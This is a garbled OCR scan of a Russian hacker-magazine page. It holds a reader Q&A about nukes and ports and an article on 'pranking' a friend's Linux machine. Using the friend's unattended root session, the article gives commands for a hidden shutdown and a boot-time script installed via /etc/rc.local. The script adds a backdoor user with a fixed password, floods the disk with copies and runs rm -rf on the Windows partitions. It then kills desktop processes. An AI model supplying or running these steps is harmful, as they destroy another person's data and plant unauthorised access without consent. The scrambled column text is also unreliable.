Добавил:

Anonymhacker Опубликованный материал нарушает ваши авторские права? Сообщите нам.

Вуз:

Пензенский Государственный Университет

Предмет:

[НЕСОРТИРОВАННОЕ]

Файл:

040_Optimized

.pdf

Скачиваний:

Добавлен:

20.04.2024

Размер:

16.06 Mб

Скачать

☆

<<< < Предыдущая 1 2 3 4 5 6 78 / 138 9 10 11 12 13 > Следующая >>>

hang

NOW!

BUY

w Click

-xcha

-x cha

<???>Скажи, плиз,

<???>Дарова. Я вот

можно ли какой-то

тут на досуге думал,

спамер загрузить,

êàê æå âñå-òàêè

например, на сайт на

работают эти нюки?

народе, чтобы он

отсылал письма, по

предварительному

запрограммированию?

Н: Все очень банально. Каждый сервер (я имею

ввиду программный) предназначен для выполнения

определенных команд. Представим себе FTP сер-

вер, он может выполнять такие команды, как DIR,

LS, GET и так далее. Очень часто программеры ле-

Н: Для этого подойдет любой скрипт для отправки

нятся проверять правильность команд (я сам такой

почты и любой хостинг, поддерживающий скрипты.

:)). Они почему-то думают, что команды будут обя-

зательно посылаться правильно. Поэтому, если по-

слать какую-нибудь неправильную последователь-

Эти вопросы меня уже

ность, сервер может вылететь и даже повесить ОС.

Хорошо, когда такие последовательности вычисля-

достали

ются из-за ламерства юзеров. Хуже, когда их нахо-

дят хакеры, тогда они пишут нюк, который будет

Я понимаю, что у нас постоянно появля-

посылать неправильные данные на сервант.

ются новые читатели, кто-то читает не ре-

гулярно, но все же отвечать на одни и те

<???>À åñòü ëè â

же вопросы очень тяжело. Поэтому я уже

полгода как создал на своем сайте

www.cydsoft.com/vr-online раздел “Боль-

окнах демоны?

шой FAQ”, где я выкладываю все вопросы

и ответы, опубликованные в Х в прошлом

году. Прежде чем задавать мне вопрос,

посмотри, может на сайте уже есть ответ.

<???> Объясни, что такое порты (как

Н: У меня в связи с таким вопросом возникла в голо-

я понял, на каждое dial-up соединение

ве одна история. Не знаю, правда это или нет, но

открыты все порты... но как можно засы-

слушай:

лать что-то через них, еще не понял), ко

Приходит поп в компьютерную фирму и просит уста-

мне лезут через 139 порт, можно ли за-

новить для его церкви ХХ компьютеров. Его спраши-

крыть порты, которые не задействованы,

вают: “Какую ОС поставить, Windows или Unix?”. На

и где в виндозе можно отключить уда-

это бедный поп отвечает: “Побойтесь Бога, никаких

ленное управление компом.

unix, там же демоны водятся” :).

Н: Я полтора года веду рубрику и уже па-

Вот так вот. На самом деле, в окнах тоже есть демо-

ру раз точно отвечал на подобные вопро-

ны, просто их дядя Билл назвал сервисами. Наверно,

сы. Порты это как бы виртуальный канал.

он побоялся гнева божьего, а может быть, просто ре-

Каждая сетевая программа при старте от-

шил угодить церкви :). Но это его проблемы. Мы же

крывает для себя любой свободный порт.

знаем, что демон - это простая программа, которая

Есть и зарезервированные типа FTP - это

выполняется в фоне (ее чаще всего даже и не видно)

21-é ïîðò, HTTP - ýòî 80 ïîðò è ò.ä. Òå-

и реагирует на разные события. Есть сетевые демо-

перь представим ситуацию, что на серве-

ны (реагируют на сетевые подключения и запросы

ре запущено два сервиса: FTP и WEB. Это

юзеров), а есть и простые, обслуживающие работу

значит, что на сервере работают две про-

компьютера (например, демоны печати). Ничего об-

граммы, к которым можно коннектиться.

щего с нечистой силой тут нет, и в окнах ту же самую

Теперь ты хочешь присоединиться к FTP

функцию выполняют сервисы. Вот как раз в Windows

серверу и посылаешь запрос по адресу

сервисам больше подходит название демонов, пото-

ХХХ.ХХХ.ХХХ.ХХХ и на порт 21. Сервер по-

му что они тихо сидят и подвешивают твою систему

лучает такой запрос и по номеру порта

как настоящая нечистая сила :).

определяет, что твой запрос относится

именно к FTP серверу, а не WEB.

<???>Как узнать

Так что сетевые порты - это что-то вир-

туальное, что увидеть невозможно. Если

бы не было портов, то комп не смог бы

количество компов в

определить, для кого именно пришел

ñåòè?

твой запрос.

Как закрыть порт? Ну, конечно же - за-

крыть прогу. За 139 порт отвечает прото-

кол NetBIOS. Если у тебя нет локалки, то

просто отключи его. Если локалка есть, то

Н: Если ты сидишь в окнах, то посмотри в “Сете-

в свойствах соединения с Инетом убери

галочку с “Вход в сеть”. Потом войди в

вом окружении”. Но я надеюсь, что ты сидишь в

свойства сети (кликнуть правой кнопкой по

Linux, поэтому и задаешь этот вопрос. Там можно

“Сетевое окружение” и в меню выбрать

пропинговать диапазон адресов твоей сети и под-

свойства). Здесь войди в свойства прото-

считать ответы. На мой взгляд, это самый простой

кола “TCP/IP - контроллер удаленного до-

и удобный способ, но это только на мой.

ступа” (или что-нибудь подобное). На за-

кладке “Привязка” убери галочку с “Служба

доступа к файлам и принтерам Microsoft”.

5 Кодинг

6 Hack-Faq

7 JoyStick

					hang		e
				C			e	E
			X					E
		-							d
		F								t
	D									i
	D									r
P						BUY NOW!				o
						BUY NOW!
w		Западлостроениеto
w Click										o	m
	w									o
		.							.c
			p					g
				df			n		e
				df			n
					-xcha
				ОТОРВИСЬ НАД ДРУГОМ-ЛИНУКСОИДОМ!

SHuRuP (http://nix.h1.ru)

Oторвись над другом-

-линуксоидом!

				hang		e
			C			e	E
		X					E
	-							d
	F								t
	D								i
	D								r
P						NOW!			o
P
					BUY
				to	BUY
w Click				to						m
w Click										m
w
	w								o
	.							.c
		p					g
			df			n		e
				-x cha

В связи с очень быстрым развитием OS Linux ежеминутно респятся новые юзеры этой замечательной операционной системы, следовательно шанс, что у тебя есть друг - начинающий_nix_гуру - возрастает до размеров последних ChangeLog'ов ядра линукса в битах, умноженных на количество найденных переполнений буфера во всевозможных приложениях для unix-like систем за последний месяц. Из всего этого логично будет, если этот твой друг юзает X-Windows+KDE и, безусловно, сидит под root'ом, а у тебя уже не однажды всплывала идея показать ему, где сисадмины зимуют...

1) halting system

Требуется: KDE + root + совсем немного времени.

Пока обладатель компа с загруженным пингвином под root идет варить пельмени, жмем <Ctrl>+<Tab>, вызываем терминал (если нет нигде похожей иконки, то смотрим в KDE меню -> Terminals -> XTerm) и набиваем shutdown -h X (лучше добавить в конце символ "&"), где X - время в минутах до начала выключения компьютера (постарайся сделать так, чтобы именно в этот момент линуксоид работал над чем-нибудь важным или играл в самую любимую гамесу, в которой нет сейвов ;), можно использовать и с другими ключа- ми (см. shutdown --help для хелпа), например, интересен ключ "r" - ребут системы. После проделанного западла необходимо спрятать окошко консоли и появившегося предупреждения aka broadcast message, если стоят миниатюрные окошки каждого дополнительного desktop'а в нижней панели. Теперь опять тыкаем <Ctrl>+<Tab> до возвращения в изначальный рабочий стол и, радостно потирая мышку о коврик, поджидаем жертву.

P.S. Если при попытке перегрузиться в другой десктоп ничего не получается, то кликай right-but- ton'ом хвостатого по рабочему столу, далее Configure Desktop -> Number of Desktops, устанавливаем еще парочку desktop'ов.

2) loading eleet scripts

Требуется: console/x-window + root + достаточное количество времени.

Эта фишка уже будет работать совсем не только в KDE... Ее идея: запугать неподготовленного пользователя странными действиями сразу после загрузки linux'а. Загружаем текстовый редактор и создаем файл /usr/bin/int (или что-нибудь похожее, его название не должно вызывать никаких подозрений), то есть, например, в консоли - emacs /usr/bin/int или vi /usr/bin/int , а в иксах - gedit /usr/bin/int или kwrite /usr/bin/int. В этот файл записываем примерно следующее:

#!/bin/sh

#первый скрипт, загрузка проца и создание объемного файла с результатами поиска по шаблону *.* в /main01

echo "* eleet script 01 coded by SHuRuP *" >/main01 && echo "trying to find *.*" >>/main01 && find / *.* -print 1>>/main01 2>/dev/null &

#второй скрипт, загрузка процессора и харда путем копирования различных библиотек

#создание юзера eleetuser с паролем 31337, создание логов в /main02

echo "* eleet script 02 coded by SHuRuP *" >/main02 && echo "trying to create user" >>/main02 && adduser -d /home/eleet -p 31337 eleetuser && echo "eleetuser has been successfully created"

>>/main02 &

mkdir /home/eleer/lib 2>/dev/null && echo "/home/eleet/lib has been successfully created" >>/main02 && cp -R /lib /home/eleet/lib 2>/dev/null && echo "libs from /lib has been successfully copied" >>/main02 &

mkdir /home/eleet/lib2 2>/dev/null && echo "/home/eleet/lib2 has been successfully created" >>/main02 && cp -R /usr/lib /home/eleet/lib2 2>/dev/null && echo "libs from /usr/lib has been successfully copied" >>/main02 &

#третий скрипт, попытка монтирования cd-rom'а и дискеты, логирование в /main03

echo "* eleet script 03 coded by SHuRuP *" >/main03 && echo "trying to mount devices" >>/main03 &

mount /mnt/cdrom 2>/dev/null & mount /mnt/floppy 2>/dev/null &

#четвертый скрипт, попытка удалить возможные каталоги с windows, логирование в /main04

echo "* eleet script 04 coded by SHuRuP *" >/main04 && echo "trying to remove windows" >>/main04 &

rm -rf /mnt/win 2>/dev/null &

rm -rf /mnt/windows 2>/dev/null & rm -rf /mnt/win_c 2>/dev/null & rm -rf /mnt/win_d 2>/dev/null &

70 Ньюсы 1 Феррум 2 PC_Zone 3 X-Стиль 4 Взлом

hang

NOW!

Та-а-ак... кто этому сомнительному kdeinit разре-

BUY

#мессага, оповещающая об успешной загрузке

w Click

шал забивать наш процессор и оперативную па-

w Click

скрипта (исключительно для устрашения ;)

f-xchan

мять какой-то фигней?? ;) Именно этой фигней мы

f-x chan

echo "* eleet scripts v0.01pre-beta coded by

и займемся, ибо у нас и так каждый бит на счету!

SHuRuP loaded successfully! *"

А осталось нам только поубивать все то, что заво-

После сохранения такого файла надо поставить

евало наименьший респект в наших сердцах.

права на возможность его выполнения:

Смерть процесса наступает во время близкого

chmod +x /usr/bin/int

контакта с командой kill -9 pid (или kill -KILL pid,

Теперь остается немного подредактировать

где pid - идентификатор этого процесса). Теперь о

/etc/rc.local, чтобы наше творчество выполнялось

результатах падений некоторых особей kdeinit'а:

при каждой загрузке любимого пингвина. Для это-

dcopserver - погибает все, кроме окон, которые

го достаточно написать в терминале:

были открыты (полезно заметить, что

echo "/usr/bin/int" >>/etc/rc.local

<Ctrl>+<Tab>, <Alt>+<Tab> больше не в силе);

Все! Отныне со следующим и последующими за-

kwin - пропадают "оболочки" всех окон так, что

пусками пингвина будут создаваться файлы с ло-

нельзя закрыть ни одну такую программу ни с по-

гами, начинать трещать хард, немного подгру-

мощью мышки (панелька с крестиком успешно

жаться процессор, монтироваться дискета и одно-

укатывается в /dev/null), ни с помощью клавы

глазый, удаляться windows! ;)

(Alt+F4 также уезжает на каникулы);

P.S. Этот скрипт не будет в идеале выполняться

kdesktop - успешно умирают все иконки рабочего

для разных машин, так как у каждого могут быть

стола;

свои директории монтирования виндов, сидюка и

kicker - исчезает нижняя панель с меню Kde а-ля

флоппи, да и вообще все предусмотреть невоз-

"Пуск" (остается только KDE Keyboard Tool и

можно, но по умолчанию обычно linux'ы настроены

Klipper, если они вообще там когда-либо жили,

именно так, и прикол рассчитан как раз на такой

для их уничтожения припасен процесс kxkb, после

случай. Но если известно, куда и что примонтиро-

падения которого также перестает меняться рас-

вано (для этого достаточно выполнить команду:

кладка клавиатуры);

cat /etc/fstab), то, лишь немного подправив

klipper - смерть Klipper'а;

скрипт, можно смело идти в бой!

kwrited - отлично подойдет для прикола #1, так

как теперь после вызова shutdown'а не появится

никакого сомнительного окошка с broadcast mes-

sage'ом и, соответственно, теперь не прокатит

КДЕшная версия команды write.

Ну что, оторвался над несчастным?

:) Весело? Жди дальнейших прико-

лов. Х планирует продолжить такие

фишки. Удачи!

Подводим итоги выполнения eleet scripts..

3) x-hell

Требуется: KDE + полминуты.

Наверное, тебе известно, что X-Window построен

на процессах, а любой процесс может быть убит

=> по теореме SHuRuP'а получаем, что можно

убить часть процессов иксов, в результате чего

работа в них превратится в настоящий ад, что и

Последствия смерти kwin

требовалось доказать (читай "чего мы и добива-

емся"). Дождавшись удачного момента, не разду-

мывая, пишем "ps -x", после этого начинаем при-

стально разглядывать, что нам ответили - где-то

будет что-нибудь вроде такого:

xxx